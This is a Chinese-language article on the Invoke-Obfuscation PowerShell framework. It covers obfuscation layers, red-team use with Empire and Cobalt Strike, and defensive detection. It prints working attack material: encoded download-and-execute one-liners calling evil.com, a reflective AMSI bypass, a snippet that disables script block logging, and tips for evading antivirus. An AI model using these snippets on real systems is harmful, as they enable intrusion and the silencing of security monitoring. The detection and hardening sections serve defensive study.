行业资讯
PowerShell混淆技术解析：Invoke-Obfuscation原理与实战对抗
1. 项目概述为什么我们需要PowerShell混淆如果你在Windows平台上做过安全测试、自动化运维或者仅仅是尝试过一些“不那么常规”的脚本那你大概率对PowerShell又爱又恨。爱的是它那几乎无所不能的.NET对象操作能力和与系统深度集成的便利恨的则是你精心编写的脚本可能还没跑起来就被杀毒软件或者终端防护系统EDR给“咔嚓”了。一个简单的Invoke-Expression或者从网络下载并执行代码的行为在安全软件眼里简直就是“此地无银三百两”。这就是我们今天要深入探讨的核心PowerShell脚本的免杀对抗。而主角就是圈内大名鼎鼎的混淆框架——Invoke-Obfuscation。它不是一个简单的字符串替换工具而是一个功能强大、模块化、可定制的混淆引擎专门用于将清晰的PowerShell代码变得面目全非从而绕过基于静态签名的检测。简单来说它的工作就是给脚本“化妆”甚至“整容”。它通过一系列复杂的编码、字符串操作、逻辑重组等技术改变代码的“外貌”语法而不改变其“灵魂”功能。对于蓝队和安全产品来说这增加了分析和检测的难度对于红队和渗透测试人员而言这是在授权测试中让载荷成功执行的必备技能。当然我们必须强调所有技术都应在合法授权和符合道德规范的范围内使用用于提升自身系统的防御能力或进行授权的安全评估。2. Invoke-Obfuscation核心原理与架构拆解要玩转一个工具首先要理解它背后的设计思想。Invoke-Obfuscation的作者Daniel Bohannon是这方面的专家他将混淆视为一个多层次、可组合的过程。2.1 混淆的层次从“化妆”到“易容”Invoke-Obfuscation的混淆操作主要作用于三个层次你可以理解为给代码穿上不同厚度的“马甲”令牌级混淆这是最基础的层面针对PowerShell脚本解析器识别的最小单元——令牌进行操作。例如将命令Write-Host替换为一个通过字符串拼接、反转或编码后动态还原的变量。这就像把一句明文的话拆成单个字然后给每个字都编上密码。字符串级混淆专门处理脚本中的字符串常量。这是静态检测最喜欢抓的特征。工具提供了多种编码方式如Base64、Hex、ASCII码数组、反转等将明文字符串“http://evil.com/payload.ps1”变成一堆看似随机的字符只在运行时动态解码还原。命令级混淆这是更高级的混淆它改变的是命令的调用方式。最经典的例子就是使用调用操作符。比如原本的Get-Process可以被替换为 (‘G’’et-Process’)或者更复杂地通过环境变量、注册表键值来存储命令名片段。这让基于命令名签名的检测直接失效。2.2 工具架构模块化与管道化的艺术Invoke-Obfuscation本身是一个PowerShell模块它采用了一种非常直观的交互式菜单驱动界面。其核心架构可以理解为一条混淆流水线。你输入一段干净的PowerShell代码我们称之为“载荷”工具会引导你选择混淆类型TOKEN, STRING, ENCODING等然后在该类型下选择具体的混淆方法如Under, Reverse, Concatenate等。最关键的是这些混淆方法是可以链式组合的。你可以先对字符串进行Base64编码再对编码后的结果进行反转最后将整个命令用反引号转义字符拆散。这种管道化的设计使得生成最终混淆代码的随机性和复杂性呈指数级增长。注意混淆不是加密。加密的目的是保护信息机密性需要密钥才能还原。混淆的目的是增加分析难度其还原过程就写在代码本身里只是被隐藏了只要有足够的耐心和技巧总是可以静态或动态分析出来的。混淆对抗的是自动化静态扫描而不是手动分析。2.3 为什么是PowerShell攻击面的两面性理解为什么Invoke-Obfuscation针对PowerShell如此有效需要理解PowerShell在Windows生态中的独特地位。它是系统管理员的瑞士军刀拥有极高的权限和与.NET框架的深度集成。正因如此它也成为了攻击者的“梦想语言”无处不在从Windows 7 SP1开始PowerShell就是系统标配无需额外安装。免文件执行可以通过一行命令直接从内存加载和执行.NET程序集不落盘极大规避了基于文件的检测。日志绕过早期版本默认脚本执行日志是关闭的且存在多种方法可以降低日志记录级别或清除日志。强大的后期利用框架如PowerSploit、Empire、Cobalt Strike的PowerShell Beacon等提供了从信息收集到横向移动的完整能力链。因此安全厂商投入巨资构建PowerShell攻击检测能力。而Invoke-Obfuscation的出现直接抬高了攻击检测的门槛迫使防御方从简单的静态签名匹配转向更复杂的动态行为分析、脚本块日志分析和AMSI反恶意软件扫描接口集成检测。3. 环境部署与基础使用实战纸上得来终觉浅我们直接上手操作。首先你需要一个测试环境。强烈建议在虚拟机中操作例如Windows 10/11并确保你有管理员权限。3.1 安装与导入Invoke-Obfuscation是一个开源项目托管在GitHub上。由于网络环境差异获取方式有多种直接克隆推荐# 打开一个权限较高的PowerShell管理员 git clone https://github.com/danielbohannon/Invoke-Obfuscation.git cd Invoke-Obfuscation # 导入模块 Import-Module .\Invoke-Obfuscation.psd1如果系统禁止执行脚本需要先修改执行策略测试后请改回Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process从攻击框架中获取像Empire、Cobalt Strike这类工具其PowerShell载荷生成功能内部就集成了Invoke-Obfuscation或类似的混淆引擎。在线版本有一些网站提供了简化的在线混淆功能但功能不完整且存在安全风险你的载荷可能被记录不推荐用于敏感操作。导入成功后输入以下命令启动交互界面Invoke-Obfuscation你会看到一个红色的Invoke-Obfuscation提示符这表示工具已经就绪。3.2 第一个混淆案例让“Hello World”消失我们来演示一个最简单的流程混淆一段打印“Hello World”的代码。设置待混淆的脚本 在提示符后输入SET SCRIPTPATH C:\test\hello.ps1或者如果你不想依赖文件可以直接设置脚本块SET SCRIPTBLOCK Write-Host ‘Hello World’这里我们使用SCRIPTBLOCK。输入后工具会显示确认信息。选择混淆类型 输入TOKEN并回车进入令牌混淆菜单。你会看到一堆选项如AST,STRING,ENCODING,COMPRESS,LAUNCHER等。每个主菜单下还有子选项。应用混淆 我们尝试对命令Write-Host进行混淆。在TOKEN菜单下输入1选择ALL混淆所有令牌或者为了演示我们可以更精细地控制。先退回主菜单输入BACK我们换一种方式。 在主菜单输入STRING进入字符串混淆菜单。然后输入3选择REVERSE反转。 工具会立即生成混淆后的代码并显示在屏幕上。它可能看起来像这样$x ‘dlroW olleH‘.ToCharArray(); [Array]::Reverse($x); $y -join $x; Write-Host $y这段代码先创建了反转的字符串字符数组再反转回来最后输出。原始字符串‘Hello World’在静态代码中已经消失了。输出结果 输入OUTPUT命令可以将混淆后的脚本保存到文件。例如OUTPUT C:\test\hello_obf.ps1实操心得第一次使用时很容易被各种菜单选项搞晕。一个技巧是先想清楚你的目标你是想隐藏命令TOKEN还是想隐藏字符串STRING还是想对整个脚本进行编码ENCODING从一个小目标开始尝试逐步组合。另外生成的代码长度和复杂度会显著增加这可能会影响在某些有命令行长度限制的场景下的使用需要权衡。4. 核心混淆技术深度解析与对抗策略Invoke-Obfuscation提供了数十种混淆方法我们挑几种最具代表性、对抗性最强的进行拆解并分析其背后的原理以及防御方的检测思路。4.1 编码混淆Base64与Hex的变种这是最常用的字符串混淆技术但工具玩出了花样。标准Base64[System.Convert]::FromBase64String(‘SGVsbG8gV29ybGQ’)Base64编码命令更厉害的是它可以将整个PowerShell命令编码。生成的代码通常以以下形式开头powershell -e SQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA这里的-e参数后面跟的就是经过Unicode编码后再Base64的脚本内容。这种方法是早期非常流行的“一行式”下载执行载荷的标配。Hex编码将字符串转换为十六进制表示然后用-join和[Char]转换回来。例如‘whoami’可能变成(0x77,0x68,0x6f,0x61,0x6d,0x69 -join ‘’ | ForEach-Object {[Char]$_})。防御检测思路检测特征函数监控对[System.Convert]::FromBase64String、[Text.Encoding]::Unicode.GetString等方法的调用。检测高熵字符串Base64字符串具有特定的字符集A-Za-z0-9/和长度特征通常是4的倍数。可以计算字符串的熵值异常高的熵值可能指示编码或加密内容。动态解码在沙箱或隔离环境中执行脚本捕获其动态解码后的真实字符串和命令。4.2 反引号转义与字符串拼接PowerShell中反引号是转义字符但也可以用来拆分令牌。这是令牌混淆的经典手段。原始命令Get-Process混淆后Get-Process或者 (‘Ge’’t-Process’)更复杂的拼接$a’Get’; $b’-Pro’; $c’cess’; ($a$b$c)这种方法能有效绕过那些简单进行字符串匹配查找“Get-Process”字样的静态检测。防御检测思路语法规范化在分析之前先将脚本中的转义字符移除将拼接的字符串合并还原出标准的令牌。这需要构建一个轻量级的PowerShell语法解析器。脚本块日志启用并收集PowerShell的脚本块日志Script Block Logging。PowerShell 5.0在执行脚本块之前会将其记录到事件日志中记录的是去除了反引号转义、合并了字符串之后的规范化代码。这是对抗这种混淆的利器。日志事件ID为4104。4.3 环境变量与COM对象调用这是一种更隐蔽的命令调用方式利用环境变量存储命令或参数。示例$env:testiex; $env:test (New-Object Net.WebClient).DownloadString(‘http://evil.com/payload.ps1’)这里Invoke-Expression的别名iex被存储在了环境变量$env:test中。COM对象替代.NET类有时会用New-Object -ComObject WScript.Shell来代替System.Diagnostics.Process启动进程因为COM对象的检测签名可能更少。防御检测思路监控环境变量操作检测脚本中对env:命名空间的非常规写入和读取操作。行为监控关注进程创建行为无论它是通过.NET的Process.Start还是WScript.Shell的Run方法创建的。结合父进程这里是powershell.exe和命令行参数进行关联分析。4.4 压缩与编码链式组合这是Invoke-Obfuscation的杀手锏。你可以将多种混淆技术串联起来形成“套娃”。一个复杂的例子流程可能是原始载荷下载并执行一个远程脚本。STEP1 - 字符串混淆将URL和关键命令进行Base64编码。STEP2 - 令牌混淆将Invoke-Expression用反引号和拼接进行混淆。STEP3 - 编码混淆将整个STEP2生成的脚本块进行Gzip压缩然后转换为Base64。STEP4 - 生成启动器编写一个一行式的启动器其功能是将STEP3的Base64字符串解压、解码然后执行。最终生成的代码可能只是一行长长的、毫无意义的Base64字符串前面包裹着一小段固定的解码执行代码。这种载荷的静态特征极低。防御检测思路 面对这种深度混淆单纯的静态分析几乎失效。防御必须转向AMSI集成确保所有安全产品都正确集成了AMSI。AMSI可以在脚本运行时解释执行前将其内容提供给反病毒引擎扫描即使脚本来自内存或命令行。增强的脚本块日志确保4104事件日志被启用并集中收集。虽然攻击者可以尝试禁用日志但这一行为本身会产生其他可疑事件如4103模块日志。终端行为检测关注PowerShell进程的异常行为链例如powershell.exe 下载了大量数据 - 创建了计划任务 - 启动了可疑子进程。结合时间序列和进程树进行分析。沙箱动态分析在隔离环境中运行可疑脚本记录其所有的系统调用、网络连接、文件操作和最终在内存中展开的代码。5. 高级用法定制化混淆与实战集成掌握了基础操作和原理后我们可以看看如何将Invoke-Obfuscation集成到实际的渗透测试工作流中并实现定制化混淆。5.1 与Cobalt Strike、Empire等框架结合现代攻击框架都内置了Payload生成功能并且很多都直接整合了混淆选项。Cobalt Strike在生成PowerShell载荷时可以直接勾选“Obfuscate”选项其背后调用的可能就是类似Invoke-Obfuscation的引擎或自定义的混淆器。你可以在Attack - Packages - PowerShell Payload中生成。更高级的用法是使用Aggressor Script编写自己的混淆逻辑在生成载荷时自动调用本地的Invoke-Obfuscation模块。EmpireEmpire的usestager和usemodule命令在生成PowerShell代码时可以通过-Obfuscate参数启用混淆并通过-ObfuscateCommand指定混淆命令如Token\All\1。这让你可以直接在Empire的控制台里完成混淆。集成示例概念性 假设你有一个Empire的Launcher你想用Invoke-Obfuscation对其进行令牌混淆后再使用。在Empire中生成原始Launcherusestager windows/launcher_bat test123将生成的bat文件中的PowerShell命令复制出来。在Invoke-Obfuscation中SET SCRIPTBLOCK粘贴该命令。进入TOKEN菜单选择ALL或自定义混淆。OUTPUT到文件或者直接复制混淆后的命令替换掉bat文件中的原有命令。5.2 编写自定义混淆脚本Invoke-Obfuscation虽然强大但它的模式可能被安全厂商深入研究并加入特征检测。高级用户需要能够编写自己的简单混淆脚本以创造“独一无二”的变形。一个简单的自定义字符串反转混淆函数示例function Invoke-CustomObfuscation { param([String]$Script) # 找到所有单引号或双引号包裹的字符串 $pattern ‘“([^“”]*)”|‘’([^‘’]*)‘’’ $obfuscatedScript $Script $matches [regex]::Matches($Script, $pattern) # 反向遍历避免替换后位置偏移 for ($i $matches.Count - 1; $i -ge 0; $i--) { $match $matches[$i] $originalString $match.Groups[1].Value ? $match.Groups[1].Value : $match.Groups[2].Value # 简单的混淆将字符串拆分成字符数组然后以随机顺序拼接不我们做简单的反转和Base64 $reversed $originalString.ToCharArray() [Array]::Reverse($reversed) $encoded [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($reversed -join ‘’)) # 替换原字符串为一个解码并反转的函数调用 $replacement ‘([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘’{0}‘’))).ToCharArray(); [Array]::Reverse($_); -join $_’ -f $encoded $obfuscatedScript $obfuscatedScript.Remove($match.Index, $match.Length).Insert($match.Index, $replacement) } return $obfuscatedScript } # 使用 $cleanCode ‘Write-Host “Hello from custom obfuscator”‘ $obfCode Invoke-CustomObfuscation -Script $cleanCode $obfCode这个例子虽然简单但阐述了一个思路你可以定义自己的混淆规则比如特定的编码表、数学变换等从而生成与众不同的混淆代码。5.3 规避AMSI与脚本块日志的技巧再好的混淆如果运行时被AMSI拦截或脚本块日志记录下规范化后的代码也会功亏一篑。因此高级载荷通常会集成AMSI绕过和日志破坏技术。AMSI绕过常见方法是内存Patch AMSI的上下文结构或者强制让AMSI扫描结果返回“干净”。一段经典的绕过代码是$a[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c$b}}; $d$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f$e}}; $g$f.GetValue($null);[IntPtr]$ptr$g;[Int32[]]$buf(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)}这段代码通过反射定位到AMSI内部上下文然后尝试修改它。但请注意这段代码本身也早已被列为特征需要进一步混淆才能使用。禁用脚本块日志可以通过修改注册表或调用.NET方法临时提高日志级别阈值使得简短命令不被记录。例如$settings [PSObject].Assembly.GetType(‘System.Management.Automation.Utils’).GetField(‘cachedGroupPolicySettings’, ‘NonPublic,Static’).GetValue($null); $settings[‘HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging’] {‘EnableScriptBlockLogging’ ‘0’}重要警告在真实的授权测试中是否使用以及如何使用这些绕过技术必须严格遵守测试规则Rules of Engagement。一些严格的测试可能明确禁止禁用日志或破坏安全机制。这些技术更主要的用途是帮助蓝队理解攻击手法从而完善防御策略。6. 防御视角如何检测与溯源混淆的PowerShell攻击作为防御方面对日益复杂的混淆技术不能只依赖某一种检测手段必须建立纵深防御体系。6.1 启用并集中收集关键日志这是最基础也是最重要的一步。很多攻击在早期阶段就能通过日志发现。PowerShell脚本块日志在组策略或注册表中启用。路径计算机配置 - 管理模板 - Windows 组件 - Windows PowerShell。启用“启用脚本块日志记录”。这将生成事件ID4104。同时启用模块日志记录4103也很有帮助。进程创建日志通过Sysmon或Windows安全审计策略记录进程创建事件Sysmon事件ID 1Windows安全日志事件ID 4688。重点关注powershell.exe、pwsh.exe、cmd.exe的启动特别是其命令行参数。长的、包含大量编码字符的命令行是高度可疑的。AMSI扫描日志如果使用的安全产品支持收集AMSI扫描事件。这可以告诉你哪些内容被扫描了以及扫描结果。6.2 构建分析检测规则基于收集到的日志可以构建SIEM规则或使用EDR的查询语言进行狩猎。检测高熵命令行计算PowerShell进程命令行参数的熵值过高的熵值可能指示编码内容。// 以Splunk为例的概念性查询 source”WinEventLog:Security” EventCode4688 | search “New Process Name:*powershell.exe” | eval cmdlinelower(Process_Command_Line) | eval entropy… // 计算熵的函数 | where entropy 6.5 // 设定一个阈值检测混淆特征查找命令行中常见的混淆模式。包含大量反引号。包含-e、-EncodedCommand参数且后面跟有长Base64字符串。包含[Char]、[Convert]::FromBase64String、-join等典型解码模式。包含IEX、Invoke-Expression、iex等表达式调用命令。检测可疑的行为序列PowerShell从非标准端口非80443下载数据。PowerShell启动后立即创建计划任务、服务或WMI订阅。PowerShell产生异常的子进程如rundll32.exe、regsvr32.exe执行脚本或直接生成cmd.exe执行可疑命令。6.3 动态分析与沙箱技术对于高度混淆、静态分析无效的样本动态分析是终极手段。本地沙箱在隔离的虚拟机中运行可疑脚本使用Process Monitor、Process Explorer、Wireshark等工具监控其所有行为。观察它最终在内存中解密出了什么代码连接了哪些IP创建了哪些文件。专业沙箱服务提交样本到VirusTotal、Hybrid-Analysis、Any.run等在线沙箱。这些沙箱能提供非常详细的行为报告包括API调用序列、网络流量、文件操作等并且集成了多家反病毒引擎的检测结果有助于快速判断恶意性。内存取证如果攻击已经发生可以对受影响的主机进行内存取证。使用Volatility等工具从powershell.exe进程的内存空间中提取出已经解密、正在执行的脚本块这往往是绕过混淆看到真实代码的最直接方法。6.4 应用程序控制与约束语言模式这是最根本的防御措施之一即“默认拒绝”。应用程序控制使用Windows Defender应用程序控制或第三方解决方案只允许经过签名的、授权的PowerShell脚本执行。这可以阻断所有无签名的恶意脚本无论其如何混淆。约束语言模式通过组策略将PowerShell设置为约束语言模式。在这种模式下许多危险的Cmdlet和.NET类型将被禁用极大地限制了攻击者的操作空间。虽然有一定管理成本但对于服务器等关键资产是值得的。7. 常见问题、排查与进阶思考在实际操作中你会遇到各种各样的问题。这里记录一些典型问题和我的解决思路。7.1 混淆后脚本无法执行问题混淆后的脚本复制到目标机器执行报语法错误或直接没有反应。排查检查PowerShell版本某些混淆技巧可能依赖于特定版本的PowerShell语法。在目标机器上执行$PSVersionTable.PSVersion确认版本。尽量使用广泛支持的版本如5.1进行混淆。检查执行策略混淆后的脚本仍然是脚本受执行策略限制。使用Get-ExecutionPolicy查看。在测试中可以使用-ExecutionPolicy Bypass参数绕过。逐步回退这是最有效的调试方法。如果你应用了多重混淆尝试只应用一种测试再叠加第二种测试。定位是哪一层混淆导致了问题。有时字符串编码在复制粘贴过程中可能会因终端编码问题出错特别是涉及Unicode时。检查特殊字符混淆可能引入了一些需要特殊转义的字符如反引号、美元符号在字符串中。确保生成的代码在目标环境中被正确解析。7.2 混淆 payload 仍然被查杀问题使用了Invoke-Obfuscation混淆的载荷上传到VirusTotal或目标机器的杀软仍然报警。分析静态特征未完全消除你可能只混淆了字符串但命令调用方式如IEX或特定的.NET类名如Net.WebClient仍然存在。尝试使用TOKEN混淆中的AST或ALL选项来混淆这些命令。使用了已被标记的混淆模板Invoke-Obfuscation本身生成的解码“框架”那一段固定的、用于解码后续内容的代码可能已经被安全厂商提取为特征。尝试组合使用不常用的混淆选项或者如5.2节所述引入自定义的混淆逻辑。动态行为被检测杀软可能已经不依赖静态代码而是监控行为。你的载荷最终行为如下载文件、执行特定命令触发了规则。这时需要考虑修改攻击手法例如使用更合法的进程进行代理执行或者将攻击步骤拆解得更慢、更分散。AMSI在起作用即使代码混淆了在解释执行前AMSI将其提交给杀软引擎引擎可能通过模拟执行或启发式分析发现了恶意行为。需要集成AMSI绕过技术。7.3 如何评估混淆效果主观评估肉眼观察代码是否变得难以阅读关键字符串和命令是否被隐藏。客观评估使用扫描工具将混淆前后的脚本提交到多个在线杀毒扫描平台观察检测率的变化。注意不要提交真实的恶意载荷可以用无害的测试脚本如计算器来模拟。熵值计算计算脚本内容的熵值香农熵。混淆通常会增加代码的随机性从而提高熵值。可以使用Python或PowerShell自己写个小工具计算。专业工具分析使用像FLOSS这样的工具尝试从混淆代码中提取字符串看能提取出多少原始信息。7.4 混淆的未来与思考PowerShell的攻防是一场持续的猫鼠游戏。随着Microsoft大力推广PowerShell Core以及更安全的默认配置如日志默认开启纯粹的混淆技术效果在减弱。防御方在进化基于机器学习的静态检测、增强的脚本块日志、AMSI的广泛应用、终端行为分析EDR的成熟使得单一维度的混淆越来越难以奏效。攻击方在转型攻击者不再仅仅依赖PowerShell而是转向多种语言如C#、VBA、Go、Rust的混合使用利用合法的系统工具Living off the Land Binaries, LOLBins进行攻击这使得攻击链更加碎片化检测难度更大。真正的对抗在于“战术”而非“技术”一个精心设计的、模拟正常用户行为的、低慢小的攻击链即使使用未混淆的PowerShell命令也可能比一个高度混淆但行为突兀的脚本更难被发现。因此对于红队而言理解业务、设计合理的攻击路径、做好痕迹清理其重要性已经超过了单纯的代码混淆。对于安全从业者来说深入研究Invoke-Obfuscation这样的工具终极目的不是为了发动攻击而是为了理解攻击者的思维和工具链从而能够构建更有效的防御体系。你能多快地识别出一段被混淆的代码你就能多快地响应潜在的安全事件。这场博弈没有终点唯有持续学习。
郑州网站建设
网页设计
企业官网
![[具身智能-181]：PC+服务器+具身机器人：构建具身智能从仿真到量产的闭环迭代混合架构](http://pic.xiahunao.cn/yaotu/[具身智能-181]：PC+服务器+具身机器人：构建具身智能从仿真到量产的闭环迭代混合架构)
![[具身智能-181]：大分布式通信模型对比：看懂为什么 DDS 是 ROS2 底层通信最优解](http://pic.xiahunao.cn/yaotu/[具身智能-181]：大分布式通信模型对比：看懂为什么 DDS 是 ROS2 底层通信最优解)
